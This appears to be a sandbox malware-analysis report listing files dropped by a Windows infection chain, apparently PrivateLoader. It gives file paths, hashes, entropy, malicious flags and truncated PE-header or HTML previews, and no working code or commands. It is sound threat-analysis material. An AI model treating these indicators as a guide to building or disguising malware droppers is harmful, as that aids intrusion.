                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."......0,.......%...Q...%...R...@...........................R.......-...@..................................R.......R..............,.x+...R...............................Q.......Q.............................................UPX0......%.............................UPX1.....0,...%..,,.................@....rsrc.........R.......,.............@...4.02.UPX!........`]f~.Q..(,..TQ.&...a.!.U..]....U..1.]........SWV.....E.`..@....@.......pd.....d....}...........M.1..U..A.M.).).9..L.M.4.....9.r.9.wx.u..t.SPQ......U.....B.......B..M...;}.}<.M...Z.9.r........X$.E..........p.......t.....`..A1.CL.1..EZ.F...........^_[]...>..h........}..h...A......<,.....f7.v..U......E.K..WV...d....x ..}.u.1.H^_].....F..H..N......5.?. ..OM.P...7...P..}..O.#?..<..W.)..9.r.....o8.9......Y.SQR............\}..W.......;E.}....H.._.9.r..E.....E...X0%.=.d.....u.g..

                                                                                                        C:\Users\user\Pictures\LnQdFAFVk46H7elzEZZ3Xdvx.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2939768
                                                                                                        Entropy (8bit):7.767398658767997
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:49152:PGFBJ146mJFoZYuozeJdMjCgg8V9SI657uMCfmOPABjtz/pLXPtU+k:+JBm3eJcFt4uM6mFBJtLXVUd
                                                                                                        MD5:AA41F78F1F683FA82608B042E57ECA06
                                                                                                        SHA1:F200B7AF0AE09444DCACC5BC64D1D208A03FEEF6
                                                                                                        SHA-256:12269AF3244CC2674E37DD7D0B7661FA074AA4AAD538E0E1E9E2A98001F45DBF
                                                                                                        SHA-512:5A13618F1296C0C66A59FC7426B6523471D43BFDAE000BA5E9B23B3B6610494345C75D2ABAB7628D445DC334EED74A4039DD2D241FFF7E21FB2BF92AA3438482
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."......0,.......%...Q...%...R...@...........................R.....B.-...@..................................R.......R..............,.x+...R...............................Q.......Q.............................................UPX0......%.............................UPX1.....0,...%..,,.................@....rsrc.........R.......,.............@...4.02.UPX!........`]f~.Q..(,..TQ.&...a.!.U..]....U..1.]........SWV.....E.`..@....@.......pd.....d....}...........M.1..U..A.M.).).9..L.M.4.....9.r.9.wx.u..t.SPQ......U.....B.......B..M...;}.}<.M...Z.9.r........X$.E..........p.......t.....`..A1.CL.1..EZ.F...........^_[]...>..h........}..h...A......<,.....f7.v..U......E.K..WV...d....x ..}.u.1.H^_].....F..H..N......5.?. ..OM.P...7...P..}..O.#?..<..W.)..9.r.....o8.9......Y.SQR............\}..W.......;E.}....H.._.9.r..E.....E...X0%.=.d.....u.g..

                                                                                                        C:\Users\user\Pictures\LuhjrDkHbg5EV9gJjZgRzNRC.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2939768
                                                                                                        Entropy (8bit):7.767399017541886
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:49152:QGFBJ146mJFoZYuozeJdMjCgg8V9SI657uMCfmOPABjtz/pLXPtU+r:ZJBm3eJcFt4uM6mFBJtLXVUS
                                                                                                        MD5:E357FC99BB4A4EC1B561875892B69F1A
                                                                                                        SHA1:0278608ADED3397CD8D6A223142A5696F94A16EB
                                                                                                        SHA-256:1BB74AFD435551D334103F3563F0B936DD904D0EF3E6BC9E86F50FD38A683DEE
                                                                                                        SHA-512:E8CC73BDAF45315E430444BE0742D207AD53C0F07ED7080FC98092CA77EB7B817453EC094C89E21793ED8B09347060CE04A1924B85987C86DF38ECBEB96D7332
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."......0,.......%...Q...%...R...@...........................R.......-...@..................................R.......R..............,.x+...R...............................Q.......Q.............................................UPX0......%.............................UPX1.....0,...%..,,.................@....rsrc.........R.......,.............@...4.02.UPX!........`]f~.Q..(,..TQ.&...a.!.U..]....U..1.]........SWV.....E.`..@....@.......pd.....d....}...........M.1..U..A.M.).).9..L.M.4.....9.r.9.wx.u..t.SPQ......U.....B.......B..M...;}.}<.M...Z.9.r........X$.E..........p.......t.....`..A1.CL.1..EZ.F...........^_[]...>..h........}..h...A......<,.....f7.v..U......E.K..WV...d....x ..}.u.1.H^_].....F..H..N......5.?. ..OM.P...7...P..}..O.#?..<..W.)..9.r.....o8.9......Y.SQR............\}..W.......;E.}....H.._.9.r..E.....E...X0%.=.d.....u.g..

                                                                                                        C:\Users\user\Pictures\MCSU0hpYCBYwreTAx2gvQqTW.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7643669
                                                                                                        Entropy (8bit):7.996947593317046
                                                                                                        Encrypted:true
                                                                                                        SSDEEP:196608:91OykiNwE/AJoqsoKQRDKlnbTQwI/S2CU5B2rSGA3s:3OZiNwE/AifQRDTw6orSGA3s
                                                                                                        MD5:5CCF030395F0F69B0C11A11E26B31833
                                                                                                        SHA1:44DC863603CCA79141886313D7F1C95E749B095B
                                                                                                        SHA-256:7D48B37BB9001C586A9F54794DF32CD98303AC9510708A906012A4346203D475
                                                                                                        SHA-512:11F550DE98E3C093DEDF829BFB2DD181F2B759E4C2D286FB9CF8AF6CBB4A70C162C1595C00BD77AA50C3E7FD0A0380572D72BADC141D391A46E911021CD6BCF6
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\MU7AyJXazu2eUzmvWRSMabWh.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4356976
                                                                                                        Entropy (8bit):7.967527814287475
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:J1X44t3SGQ20KQ8fTQFYVjsb2ukZkh640j+5QlH/:HxbQ21QC5QrkWU40j+5QF
                                                                                                        MD5:D373FF7CB6AC28B844D9C90FC8F1AB3F
                                                                                                        SHA1:8BD2BD07E929D71F5C27BA7FAB3777F29A4C48E3
                                                                                                        SHA-256:92A53ACF35B82EAF96286B8A5DAB6CEF0513C48DFF9E480FA3486033258C093B
                                                                                                        SHA-512:F89FCE3365F1A9091B2523EA310089C53D67469E1D75B1E842EFF2D59EB2A42FBBB49F03F3A45F9E56734895ADD9AC865E9ADC1DBC0DFC4B34314B48BB0871A1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...6t.c.................>@..ZH......Q.......P@...@...................................B.....................................XB@.d....................pB.p....P......................................p0..@............................................text...T<@......>@................. ..`.data...\iF..P@..>...B@.............@....rsrc.................@.............@..@.reloc...j...P...l....B.............@..B................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\Minor Policy\0NiGzKSTtDzAUZOkgD66xsNo.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):3845672
                                                                                                        Entropy (8bit):7.950120245736561
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:pRvjHZCdUTpdf0ivFYnu/HXod3OuO2H6cz:pRvjHZWUTz0idYKHA+Aacz
                                                                                                        MD5:0A9763AA50146970BF80DF439A89AAE3
                                                                                                        SHA1:36363559F1E9DC658F40E24CCF419AC68F874778
                                                                                                        SHA-256:1E384166AD93BF727DD9DF84F3A7A29AF0D41E6E9E3696404666986F5E0A309C
                                                                                                        SHA-512:5A417659829768AC4A8D03249677B3F1B72A072ABA5266E716BA0EEEA16BA5F2A572BB46E747CB2DD0D8F324B383AAACA2913783679D7672C89C029FB433CAF6
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0......8......@.[.. ........@.. ..............................Py;...@.................................:@..P....`................:.((.......................................................................................... ..... ...L.................. ..` o4...........P..............@..@ ..... .......X..............@..B.idata... ...@.......Z..............@....rsrc.... ...`.......\..............@..@.themida.@Q..........d..............`....boot...."2...[.."2..d..............`..`........................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\Minor Policy\0V9EbnB8e6ebVrU36pWfpYPt.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2859160
                                                                                                        Entropy (8bit):7.925048474322306
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:49152:FWwvzKBJQ/7AZ56737bub4VshPmtzkPE1XIp4kmExSh0ueykizldxAyfJWQD+bTB:HvOBJy7/DVs2zkPppQQ9ykelJhWqsTZX
                                                                                                        MD5:362B25F951B251BC6E5AB3939FE71E1D
                                                                                                        SHA1:F3C20BD4288822EB7857EF7D244CBBE72530385D
                                                                                                        SHA-256:FB9D64ED3D39238FA349C70E55F2DA7AB7B04EE3B04361152F144DD142976263
                                                                                                        SHA-512:BC19EA5EAAC359AA38C4DA9E7D6EEDD3E90F1A8F86B6B2F4497D14D06AB25D92843A3BE8D38ADC3E344DC3CDA1E2564E2A4CCBA1A12DA9B83B583E1BC059FF16
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....r................0...............X.. ........@.. ................................+...@.................................:...P........J............+............................................................................................. ..... ...................... ..` <...........................@..@ .............6..............@..B.idata... ...........8..............@....rsrc....L.......L...:..............@..@.themida.`T.. ......................`....boot.....*...X...*.................`..`........................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\Minor Policy\5kBZDMiD3GP8J4HhIVdC5xHi.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe
                                                                                                        File Type:HTML document, Unicode text, UTF-8 text, with CRLF line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2318
                                                                                                        Entropy (8bit):5.750426305368177
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:48:ImMq1xpzWRqsR0FjKlTWQ1U6C4nC8MFDFP7FYDWukGB1Ap5H5dASAbUp4y:SIm3BWQ1fqsDCtLF+kR
                                                                                                        MD5:3EBD89DD0660E72F9F1429AC49DE7373
                                                                                                        SHA1:8839E56CBBA5D74A4839DF26BD7766134085D023
                                                                                                        SHA-256:3A110E47214EDD4E5E10571D513F2A4162915955809F546444A750C2E99A02D8
                                                                                                        SHA-512:B8E333CE7892EFFA7935D1A20610690D1184C119C54EF4212BAD9CA00A16BD2A9AAB4DBFCBA992E1D5DDB7E1CFD314749C4C83C2767256B5A4C47D58883342F7
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="http://www.w3.org/1999/xhtml">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />...<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">...<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">...<title>....... ............ .. ......... ...... ........</title>...<link href="https://www.host-food.ru/style.css" rel="stylesheet" type="text/css" />...<link rel="icon" href="https://www.host-food.ru/favicon.ico" type="image/x-icon" />...<link rel="shortcut icon" href="https://www.host-food.ru/favicon.ico" type="image/x-icon" />....</head>....<body>...<div id="wrap" >....<div id="logo_404" class="bigEntrance">.....<h1><a href="https://www.host-food.ru"></a></h1>.....<p>............ . ....... ... ....... </p>....</div>......<di

                                                                                                        C:\Users\user\Pictures\Minor Policy\6CYB0iVk9rownSr74i6xHL6G.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):1322659
                                                                                                        Entropy (8bit):6.665075434891055
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:24576:NmmEs2wqfcRBxJCBEmAMpCOJMbgp2kvB1Pj5R+d3ThJgrU35Zln2i6:8dw/IyPxbgp2iB1Pju3TIrK5Zln2i6
                                                                                                        MD5:8538DF2607E4877D3D3829F3E91882B8
                                                                                                        SHA1:B3490041E75EB776320567DD0C434549463D8D29
                                                                                                        SHA-256:DBE96E7A3CE584918E3ADC50170CE6FCF6168F18EF1DE42A5FDD987E1C9C6784
                                                                                                        SHA-512:2B360828F6A7784247C4D2393AF4CCE4BAC72733A8B96A8C6A29129D367D157907251DFD07ADA0E9CA707303048C7C8D3F41034C0FDD2ADA41D4164956961E1F
                                                                                                        Malicious:true
                                                                                                        Yara Hits:
                                                                                                        • Rule: JoeSecurity_PrivateLoader, Description: Yara detected PrivateLoader, Source: C:\Users\user\Pictures\Minor Policy\6CYB0iVk9rownSr74i6xHL6G.exe, Author: Joe Security
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........|............e......e.4..,`.....e.....a>.....a.....a......a.....e.....e.....e..........>a....>a<......T....>a.....Rich...........PE..L....VRe...............".L..........K........`....@..........................p............@.................................dz..................................0.......8...........................H...@............`...............................text...xJ.......L.................. ..`.rdata.../...`...0...P..............@..@.data....5......."..................@....rsrc...............................@..@.reloc..0...........................@..B........................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\Minor Policy\8TF9AtsMAWKytLiZaNJGNowl.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):5810328
                                                                                                        Entropy (8bit):7.9864607789197315
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:LDDpKP4VkSQq4FeK668YNA95zfx6J2z6ANu23eL06ZMMG2dTyqF/b6OUV1:XVa4piD66NNmz2m6xl7HJ69V1
                                                                                                        MD5:3E40919E6F2125376062B90CB8B9F669
                                                                                                        SHA1:81D603905ADC0A987D044C24E9DC1CBF3F69B489
                                                                                                        SHA-256:0BADDDF41C8F5DC1A17E07FBC0B409094AFA00A1F87EA791DCE0BE5DFFFBC4ED
                                                                                                        SHA-512:B3EA2D719216163464D2C99222331A98AA003524BA6C13E5A01D171217FA3A9B816B72060B17AFD9348229B69D0404ECD269086997412C1D7443844D7A78E091
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....VRe...............".L...R.......j.......`....@..........................P.......dY...@..................................p........................X.........X.......................................................|........................... xJ.......................... ..` ./...`......................@..@ .5..........................@... 8g..........................@..@ 0....@!.....................@..@.idata........!.....................@..../PING/0......!.....................@..@.themida..K..p#.....................`....boot....&&..pn.....................`..`./PING/1............................ ..`./PING/2............................@..../PING/3..V.......V................. ..`.reloc..X.............V.............@..@.rsrc.................W.............@..@................................................................

                                                                                                        C:\Users\user\Pictures\Minor Policy\99Xilbvd4jSilvCMPk8Sud3T.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):214016
                                                                                                        Entropy (8bit):6.8821370083203535
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3072:tDO17emGta474RR+LJu0QFwyJXI6eWNrGIXm5Vs2aCNGBQZXXv/xs:oemqa47wRwJutFty6nrGGAN9N5R
                                                                                                        MD5:AA90F740F20462601A90FAFDF37A4B82
                                                                                                        SHA1:A023179E41C2D6D0D809B5BF37BB84E0D5F40D1D
                                                                                                        SHA-256:3D6F60107B831B2C10F7788C2C47F9CA6C3804B42F83E77C6E5E9993B7392378
                                                                                                        SHA-512:C9DD8EA396AA2386EEE6024DC0D5FCF0BB5083613AA171935369771177131E59F9206B8EB5174F29F432048120118F59749CE80EE65BA9CB8BFDDB53F8389B3C
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L...dHFd.....................H9......}............@...........................;.....D$.........................................<.....;..P..........................................................`B..@............................................text...h........................... ..`.data...H.8......H..................@....rsrc....P....;..R..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\Minor Policy\A2I4Pi1m1VN3iZg1YDOjtF35.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe
                                                                                                        File Type:HTML document, Non-ISO extended-ASCII text, with very long lines (15610)
                                                                                                        Category:dropped
                                                                                                        Size (bytes):283816
                                                                                                        Entropy (8bit):5.1493549079247245
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3072:qvNi+GIFyw2mPVCddARlNYhm1KMY09mRgXepQTPn/jBnIYWi9mRatZW3eCLo:kNi+GjWVCddARlv1JCQr/jBnI2Deo
                                                                                                        MD5:19D516F1BEA61F82C35262B73182BAC0
                                                                                                        SHA1:C22A900CD62D4950837CD1E1BD08E83EFF420CC1
                                                                                                        SHA-256:0AFF9020BA4651B050043EBBB1A16CD1152AA64221C8447EDC3461B28FC9FD69
                                                                                                        SHA-512:1501CA5C022997C42AAD711627F7A634D333B4A22DB811FE8D7FF8C573392BE917BB94D0CBDC905D5D49E4314E9A40F9A2F7568CD38206D0355251AC318232FC
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:<!DOCTYPE html>.<html lang='en' dir='ltr'>.<head>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />.<link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?7" />..<link rel="apple-touch-icon" href="/images/icons/pwa/apple/default.png?15">..<meta http-equiv="content-type" content="text/html; charset=windows-1251" />.<meta http-equiv="origin-trial" content="AiJEtxZTdbmRu3zkrD0Bg/GvReuip5r0aklN7tIrw1Yit01/+j7PNlJFAyMMo/vqqNVvDmRsGCPGfVtNn5ookQ8AAABueyJvcmlnaW4iOiJodHRwczovL3ZrLmNvbTo0NDMiLCJmZWF0dXJlIjoiRG9jdW1lbnRQaWN0dXJlSW5QaWN0dXJlQVBJIiwiZXhwaXJ5IjoxNjk0MTMxMTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="><meta name="theme-color" content="#ffffff">.<meta name="color-scheme" content="light">..<title>Error | VK</title>..<noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript>.<script nomodule>(function(){"use strict";function e(e){var n=e.needRedirect,o=new XMLHttpRequest;o.open("GET","/badbrowser_stat.php?act=nomodule"),o.send(),n&&window.location.replace(

                                                                                                        C:\Users\user\Pictures\Minor Policy\DAtQ4XqD5Usfo4gF8z_3KYHd.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe
                                                                                                        File Type:HTML document, Non-ISO extended-ASCII text, with very long lines (15611)
                                                                                                        Category:dropped
                                                                                                        Size (bytes):283763
                                                                                                        Entropy (8bit):5.14870806111949
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3072:qvJNvIFyw2mPVCddARlNYhm1KMY09mRgXepQTPn/jBnIYWi9mRatZW3eCL0:kJNvjWVCddARlv1JCQr/jBnI2De0
                                                                                                        MD5:D090E9212867A483132A288CA8FFDCF4
                                                                                                        SHA1:5F0B45432565F0F1936CBFB07FA1A57C782B1DCF
                                                                                                        SHA-256:FE11A8E3092D874C7A43FE5092DD4A97813B11AD704F6BE8CD26B20DD92336AC
                                                                                                        SHA-512:B4E7CD4E6CBD12B0E59317AF3671137A30EC846AD922B947DF00971B786BB2361714898BF32E68465A3BA47762EB026A5F574FDD2CB72126670A15B680CFB01B
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:<!DOCTYPE html>.<html lang='en' dir='ltr'>.<head>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />.<link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?7" />..<link rel="apple-touch-icon" href="/images/icons/pwa/apple/default.png?15">..<meta http-equiv="content-type" content="text/html; charset=windows-1251" />.<meta http-equiv="origin-trial" content="AiJEtxZTdbmRu3zkrD0Bg/GvReuip5r0aklN7tIrw1Yit01/+j7PNlJFAyMMo/vqqNVvDmRsGCPGfVtNn5ookQ8AAABueyJvcmlnaW4iOiJodHRwczovL3ZrLmNvbTo0NDMiLCJmZWF0dXJlIjoiRG9jdW1lbnRQaWN0dXJlSW5QaWN0dXJlQVBJIiwiZXhwaXJ5IjoxNjk0MTMxMTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="><meta name="theme-color" content="#ffffff">.<meta name="color-scheme" content="light">..<title>Error | VK</title>..<noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript>.<script nomodule>(function(){"use strict";function e(e){var n=e.needRedirect,o=new XMLHttpRequest;o.open("GET","/badbrowser_stat.php?act=nomodule"),o.send(),n&&window.location.replace(

                                                                                                        C:\Users\user\Pictures\Minor Policy\F4Qdxsrold2qERI1flyDP0Wg.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe
                                                                                                        File Type:HTML document, Non-ISO extended-ASCII text, with very long lines (15611)
                                                                                                        Category:dropped
                                                                                                        Size (bytes):283830
                                                                                                        Entropy (8bit):5.149831922366898
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3072:qvJJvIFyw2mPVCddARlNYhm1KMY09mRgXepQTPn/jBnIYWi9mRatZW3eCLI:kJJvjWVCddARlv1JCQr/jBnI2DeI
                                                                                                        MD5:F48D3C088DC076D2746207D8CD7F8D92
                                                                                                        SHA1:97D33A4BD4FDAD939AC39B814570830846E76C85
                                                                                                        SHA-256:2FF759B9E70BE0EFA8C2B2C77DCB3D76502C54C6FBEDD4A56070E504D1AA8A47
                                                                                                        SHA-512:F92714E56DC10462058EA241A08A50610B674885374E4262F1BBBCF12674BAA4C35907FB4BB3BBB2133F37CE9B387B51E261C7A39F0F98F19400862556F288DB
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:<!DOCTYPE html>.<html lang='en' dir='ltr'>.<head>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />.<link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?7" />..<link rel="apple-touch-icon" href="/images/icons/pwa/apple/default.png?15">..<meta http-equiv="content-type" content="text/html; charset=windows-1251" />.<meta http-equiv="origin-trial" content="AiJEtxZTdbmRu3zkrD0Bg/GvReuip5r0aklN7tIrw1Yit01/+j7PNlJFAyMMo/vqqNVvDmRsGCPGfVtNn5ookQ8AAABueyJvcmlnaW4iOiJodHRwczovL3ZrLmNvbTo0NDMiLCJmZWF0dXJlIjoiRG9jdW1lbnRQaWN0dXJlSW5QaWN0dXJlQVBJIiwiZXhwaXJ5IjoxNjk0MTMxMTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="><meta name="theme-color" content="#ffffff">.<meta name="color-scheme" content="light">..<title>Error | VK</title>..<noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript>.<script nomodule>(function(){"use strict";function e(e){var n=e.needRedirect,o=new XMLHttpRequest;o.open("GET","/badbrowser_stat.php?act=nomodule"),o.send(),n&&window.location.replace(

                                                                                                        C:\Users\user\Pictures\Minor Policy\NMVWvUSYQ5v8UtFVuNmXDI3v.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe
                                                                                                        File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):442656
                                                                                                        Entropy (8bit):6.7162300537067905
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:6144:GDGjvLL55fCX58sTcw+Q29AOhRTDC7jNre9gJ9renjTB6y:PvX5oX589RC7jNreeJEp6y
                                                                                                        MD5:7C14F95BF50739EE2FB2B5D9A5B1715E
                                                                                                        SHA1:A3888394A690B15B56B8966FF4D6C616FFECC39D
                                                                                                        SHA-256:3D24B1F5F73814B3B9E9812510CBAD2231EB4FBFAFC010BCC20B3D0DF2509422
                                                                                                        SHA-512:FE6F33C6E3528F0445F07BDA8DF6967D11844CC17E3A5BA71B758250D8E154955A026BE73EC08D3D8CFA006C5A1A045706608B513A58C672DB229A827C06DC55
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................~......~......~......~..........%................................l......Rich............PE..L....~\e...............".*...................@....@.......................................@.................................<...<....................... ...............................................@............@..P............................text...f(.......*.................. ..`.rdata.......@......................@..@.data.... ... ......................@....Lor.....n...P...p..................@....reloc..............................@..B........................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\Minor Policy\TcGLfdTBaos9JgPXgH8pOdVr.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2919322
                                                                                                        Entropy (8bit):7.999071865039075
                                                                                                        Encrypted:true
                                                                                                        SSDEEP:49152:yeErJNyEmuXOGdvKvKge0RiZ09zySGac/ASf/E7gSC0bJ1qc03+Bqm:yeePyTiOE0KpuvPvmEpCw/U3+Bqm
                                                                                                        MD5:1A3BF17091D50C6A33C39EBF0D306E84
                                                                                                        SHA1:DB223DEF87496B03049D78A4CA85CC07C6327305
                                                                                                        SHA-256:C350EAE607C1393925B3A98CE2C1FAB9A2CA24A045204C2FB326AA1C6029ADA7
                                                                                                        SHA-512:F2930C59667CF68F3BB0E652F627D9028607AF94A5F4161054A8AC3F0584CA6E043FC7CD16B26628D52E3ADAB8CA7121E26C36853395B4F5D5C2E483093A243A
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........h.h..a;..a;..a;..k;..a;..o;..a;..e;..a;..`;..a;..<;..a;./k;..a;[.g;..a;Rich..a;................PE..L......b........../......p...........|............@.................................;F......................................t...d....................................................................................................................text....n.......p.................. ..`.rdata...............t..............@..@.data...T ...........~..............@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\Minor Policy\YUs90TtW16jkIRN8eUZqSYBQ.exe

                                                                                                        Download File
                                                                                                        Process:C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe
                                                                                                        File Type:HTML document, Non-ISO extended-ASCII text, with very long lines (15611)
                                                                                                        Category:dropped
                                                                                                        Size (bytes):283763
                                                                                                        Entropy (8bit):5.148516500737426
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3072:qvJNvIFyw2mPVCddARlNYhm1KMY09mRgXepQTPn/jBnIYWi9mRatZW3eCLJ:kJNvjWVCddARlv1JCQr/jBnI2DeJ
                                                                                                        MD5:0D5FCC73A82160395C3741EBE43B7D58
                                                                                                        SHA1:66A9C2B49E249BD5551D191003FF591B89F8F33F
                                                                                                        SHA-256:ADE451982E1D960FD6975D38CAC9DB3CC69147024513AD6D8A5BA0023FCA63E3
                                                                                                        SHA-512:15C328B188845815AC2962A1F51E24817C067733C50BBD66A533E7210741B8AC0A79E4B0DB6A74038C9F2BCC8626568596ADF28E0BCA189B9EEFE29F8B4F4492
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
